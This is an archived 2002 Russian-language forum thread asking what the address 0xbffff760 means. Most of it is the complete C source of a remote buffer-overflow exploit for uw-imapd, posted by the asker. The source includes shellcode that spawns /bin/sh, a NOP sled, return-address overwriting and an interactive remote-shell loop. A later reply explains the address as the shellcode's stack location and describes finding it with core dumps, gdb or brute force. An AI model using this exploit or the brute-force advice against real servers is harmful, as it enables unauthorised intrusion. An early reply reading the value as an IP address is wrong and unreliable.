The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]

форумы  помощь  поиск  регистрация  майллист  ВХОД  слежка  RSS
"0xbffff760 как определить что это за адрес ?"
Вариант для распечатки Архивированная нить - только для чтения! 
Пред. тема | След. тема 
Форумы OpenNET: Виртуальная конференция (Public)
Изначальное сообщение [Проследить за развитием треда]

"0xbffff760 как определить что это за адрес ?"
Сообщение от DAI emailИскать по авторуВ закладки on 04-Сен-02, 02:56  (MSK)
Как определяеться подобный адрес на удалённой машине и о чём он может сказать ?
  Рекомендовать в FAQ | Cообщить модератору | Наверх

 Оглавление

Индекс форумов | Темы | Пред. тема | След. тема
Сообщения по теме

1. "RE: 0xbffff760 как определить что это за адрес ?"
Сообщение от Sobol emailИскать по авторуВ закладки on 04-Сен-02, 05:02  (MSK)
>Как определяеться подобный адрес на удалённой машине и о чём он может
>сказать ?

Сдаётся мне, что это просто IP

0xbffff760 = 191.255.247.96

В случае, если это реальный IP, можно узнать, кому он принадлежит и по какому адресу прописан.

  Рекомендовать в FAQ | Cообщить модератору | Наверх

2. "RE: 0xbffff760 как определить что это за адрес ?"
Сообщение от DAI emailИскать по авторуВ закладки on 04-Сен-02, 05:43  (MSK)
Каким образом это было получено и что делать если это не ИП ?


  Рекомендовать в FAQ | Cообщить модератору | Наверх

3. "RE: 0xbffff760 как определить что это за адрес ?"
Сообщение от Sobol emailИскать по авторуВ закладки on 04-Сен-02, 05:50  (MSK)
>Каким образом это было получено и что делать если это не ИП
>?

Ну получено-то это простым переводом hex-dec. На каждый октет ИП - две цифры в шестнадцатиричной кодировке, т.е. 0xbffff760 = bf-ff-f7-60.
Ты лучше скажи, где ты такое увидел?

  Рекомендовать в FAQ | Cообщить модератору | Наверх

4. "RE: 0xbffff760 как определить что это за адрес ?"
Сообщение от DAI emailИскать по авторуВ закладки on 04-Сен-02, 11:54  (MSK)
/*
* http://www.freeweb.nu/mantra/05_2002/uw-imapd.html
*
* uw-imapd.c - Remote exploit for uw imapd CAPABILITY IMAP4
*
* Copyright (C) 2002  Christophe "korty" Bailleux <cb@t-online.fr>
* Copyright (C) 2002  Kostya Kortchinsky <kostya.kortchinsky@renater.fr>
*
* All Rights Reserved
* The copyright notice above does not evidence any
* actual or intended publication of such source code.
*
* Usage: ./wu-imap host user password shellcode_addressr alignement
*
* Demonstration values for Linux:
*
* (slackware 7.1) ./uw-imap localhost test test1234 0xbffffa60 0
* (Redhat 7.2)    ./uw-imap localhost test test1234 0xbffff760 0
*
* THIS CODE FOR EDUCATIONAL USE ONLY IN AN ETHICAL MANNER
*
* The code is dirty...but we like dirty things :)
* And it works very well :)
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include  <sys/types.h>
#include  <sys/socket.h>
#include  <netinet/in.h>
#include  <stdio.h>
#include  <string.h>
#include  <netdb.h>

#define GOOD_EXIT    0
#define ERROR_EXIT    1

#define DEFAULT_PROTOCOL  0
#define SEND_FLAGS    0
#define RECV_FLAGS    0

char sc[]=
"\xeb\x38"                      /* jmp 0x38              */
"\x5e"                          /* popl %esi             */
"\x80\x46\x01\x50"              /* addb $0x50,0x1(%esi)  */
"\x80\x46\x02\x50"              /* addb $0x50,0x2(%esi)  */
"\x80\x46\x03\x50"              /* addb $0x50,0x3(%esi)  */
"\x80\x46\x05\x50"              /* addb $0x50,0x5(%esi)  */
"\x80\x46\x06\x50"              /* addb $0x50,0x6(%esi)  */
"\x89\xf0"                      /* movl %esi,Йx        */
"\x83\xc0\x08"                  /* addl $0x8,Йx        */
"\x89\x46\x08"                  /* movl Йx,0x8(%esi)   */
"\x31\xc0"                      /* xorl Йx,Йx        */
"\x88\x46\x07"                  /* movb Йx,0x7(%esi)   */
"\x89\x46\x0c"                  /* movl Йx,0xc(%esi)   */
"\xb0\x0b"                      /* movb $0xb,%al         */
"\x89\xf3"                      /* movl %esi,Кx        */
"\x8d\x4e\x08"                  /* leal 0x8(%esi),Лx   */
"\x8d\x56\x0c"                  /* leal 0xc(%esi),Мx   */
"\xcd\x80"                      /* int $0x80             */
"\x31\xdb"                      /* xorl Кx,Кx        */
"\x89\xd8"                      /* movl Кx,Йx        */
"\x40"                          /* inc Йx              */
"\xcd\x80"                      /* int $0x80             */
"\xe8\xc3\xff\xff\xff"          /* call -0x3d            */
"\x2f\x12\x19\x1e\x2f\x23\x18"; /* .string "/bin/sh"     */

int imap_send(int s, char *buffer)
{
  int result = GOOD_EXIT;

  if (send(s, buffer, strlen(buffer), SEND_FLAGS) < 0)
    result = ERROR_EXIT;

  return result;
}

int imap_receive(int s, char *buffer, int size)
{
  int result = GOOD_EXIT;
  int char_recv;
  int tot_recv = 0;

  bzero(buffer, size);
  do {
    char_recv = recv(s, &buffer[tot_recv], size - tot_recv, RECV_FLAGS);
    if (char_recv > 0)
      tot_recv += char_recv;
  } while ((char_recv > 0) && (strchr(buffer, 13) == NULL));

  if (char_recv < 0)
    result = ERROR_EXIT;

  return result;
}

#define BANNER "pwd ; uname -a"

int interact( int fd )
{
     fd_set fds;
     ssize_t ssize;
     char buffer[ 666 ];

   write( fd, BANNER"\n", sizeof(BANNER) );
     while ( 12 != 42 ) {
           FD_ZERO( &fds );
           FD_SET( STDIN_FILENO, &fds );
           FD_SET( fd, &fds);
           select( fd + 1, &fds, NULL, NULL, NULL );

           if ( FD_ISSET(STDIN_FILENO, &fds) ) {
              ssize = read( STDIN_FILENO, buffer, sizeof(buffer) );
              if ( ssize < 0 ) {
                 return( -1 );
              }
              if ( ssize == 0 ) {
                 return( 0 );
              }

              write( fd, buffer, ssize );

           }

           if ( FD_ISSET(fd, &fds) ) {
               ssize = read( fd, buffer, sizeof(buffer) );
               if ( ssize < 0 ) {
                  return( -1 );
                }
               if ( ssize == 0 ) {
                  return( 0 );
               }

               write( STDOUT_FILENO, buffer, ssize );

           }
     }
     return( -1 );
}


void usage(char *cmd)
{
  printf("Usage: %s host user pass shellcode_addr align\n", cmd);
  printf("Demo: %s localhost test test1234 0xbffffa40 0\n", cmd);
  exit(0);
}


int main(int argc, char *argv[])
{
  struct sockaddr_in server;
  struct servent *sp;
  struct hostent *hp;
  int s, i , ret, align;
  int blaw = 1024;
  char *user, *passwd;

  char imap_info[4096];
  char imap_login[4096];
  char imap_query[4096];
  char buffer[2048];

  int exit_code = GOOD_EXIT;

  if (argc != 6) usage(argv[0]);

  user = argv[2];
  passwd = argv[3];
  ret = strtoul(argv[4], NULL, 16);
  align = atoi(argv[5]);

  if ((hp = gethostbyname(argv[1])) == NULL)
    exit_code = ERROR_EXIT;

  if ((exit_code == GOOD_EXIT) && (sp = getservbyname("imap2", "tcp")) ==
NULL)
    exit_code = ERROR_EXIT;

  if (exit_code == GOOD_EXIT) {
    if ((s = socket(PF_INET, SOCK_STREAM, DEFAULT_PROTOCOL)) < 0)
      return exit_code = ERROR_EXIT;

    bzero((char *) &server, sizeof(server));
    bcopy(hp->h_addr, (char *) &server.sin_addr, hp->h_length);
    server.sin_family = hp->h_addrtype;
    server.sin_port = sp->s_port;
    if (connect(s, (struct sockaddr *) &server, sizeof(server)) < 0)
      exit_code = ERROR_EXIT;
    else {
      printf(" [1;34mVйrification de la banniиre : [0m\n");
      if (exit_code = imap_receive(s, imap_info, sizeof(imap_info)) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      printf("%s", imap_info);
      if (strstr(imap_info, "IMAP4rev1 200") == NULL) {
        printf(" [1;32mService IMAPd non reconnu ... [0m\n");
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_send(s, "x CAPABILITY\n")) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      printf(" [1;34mVйrification des options du service : [0m\n");
      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      printf("%s", imap_info);
      if (strstr(imap_info, " IMAP4 ") == NULL) {
        printf(" [1;32mService IMAPd non vulnйrable ... [0m\n");
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      printf(" [1;31mService IMAPd vulnйrable ... [0m\n");
      sprintf(imap_login, "x LOGIN %s %s\n", user, passwd);
      if ((exit_code = imap_send(s, imap_login)) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }
      printf("%s", imap_info);

      if ((exit_code = imap_send(s, "x SELECT Inbox\n")) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }
      printf("%s", imap_info);

      memset(buffer, 0x90, sizeof(buffer));
      memcpy(buffer + 512, sc, strlen(sc));

      for (i = blaw + align ; i < 1096; i +=4)
        *(unsigned int *)(&buffer[i]) = ret;

      *(unsigned int *)(&buffer[i + 1]) = 0;

      sprintf(imap_query, "x PARTIAL 1 BODY[%s] 1 1\n", buffer);
      if ((exit_code = imap_send(s, imap_query)) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_send(s, "x LOGOUT\n")) == ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }

      if ((exit_code = imap_receive(s, imap_info, sizeof(imap_info))) ==
ERROR_EXIT) {
        shutdown(s, 2);
        close(s);
        return exit_code;
      }
    }
  }

      i = interact( s );

  return exit_code;
}

  Рекомендовать в FAQ | Cообщить модератору | Наверх

5. "RE: 0xbffff760 как определить что это за адрес ?"
Сообщение от DAI emailИскать по авторуВ закладки on 04-Сен-02, 16:37  (MSK)
Помогите разобраться.
  Рекомендовать в FAQ | Cообщить модератору | Наверх

6. "RE: 0xbffff760 как определить что это за адрес ?"
Сообщение от qq Искать по авторуВ закладки on 04-Сен-02, 18:10  (MSK)
>Помогите разобраться.

я бы вам посоветовал и не браться за игры с експлоитами если вы это делаете не на собственной машине ради общего образования
для начала неплохо бы иметь представление об архитектуре процессора на котором работаете.
этот адрес - адрес буффера на стеке, где будет лежать шелкод после реализации уязваимости в target-проге. соответственно этот адрес разный для разных сборок этой проги, для разных версий libc.
так что либо нужно поиметь точно такую же систему как и на удаленном компе (а вы ведь к ней имеете законный доступ, не так ли?), получить core dump программы после натравливания на нее эксплоита, загрузить этот дамп в gdb, и найти тот самый адрес, где лежит шеллкод.

либо, если сервис рестартует автоматически, можете попытаться найти адрес перебором.

P.S.
но если вы собираетесь использовать этот эксплоит чтобы залезть к недругу-админу на сервак, или еще как кому создать проблем - то заслуживаете хорошего пинка под жопу.

  Рекомендовать в FAQ | Cообщить модератору | Наверх

7. "RE: 0xbffff760 как определить что это за адрес ?"
Сообщение от DAI emailИскать по авторуВ закладки on 05-Сен-02, 21:55  (MSK)
>>Помогите разобраться.
>
>я бы вам посоветовал и не браться за игры с експлоитами если
>вы это делаете не на собственной машине ради общего образования
>для начала неплохо бы иметь представление об архитектуре процессора на котором работаете.
>
>этот адрес - адрес буффера на стеке, где будет лежать шелкод после
>реализации уязваимости в target-проге. соответственно этот адрес разный для разных сборок
>этой проги, для разных версий libc.
>так что либо нужно поиметь точно такую же систему как и на
>удаленном компе (а вы ведь к ней имеете законный доступ, не
>так ли?), получить core dump программы после натравливания на нее эксплоита,
>загрузить этот дамп в gdb, и найти тот самый адрес, где
>лежит шеллкод.
>
>либо, если сервис рестартует автоматически, можете попытаться найти адрес перебором.
>
>P.S.
>но если вы собираетесь использовать этот эксплоит чтобы залезть к недругу-админу на
>сервак, или еще как кому создать проблем - то заслуживаете хорошего
>пинка под жопу.

Благодарен за предупреждение. Ни чем подобным заниматься не буду.

  Рекомендовать в FAQ | Cообщить модератору | Наверх


Удалить

Индекс форумов | Темы | Пред. тема | След. тема
Пожалуйста, прежде чем написать сообщение, ознакомьтесь с данными рекомендациями.




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2025 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру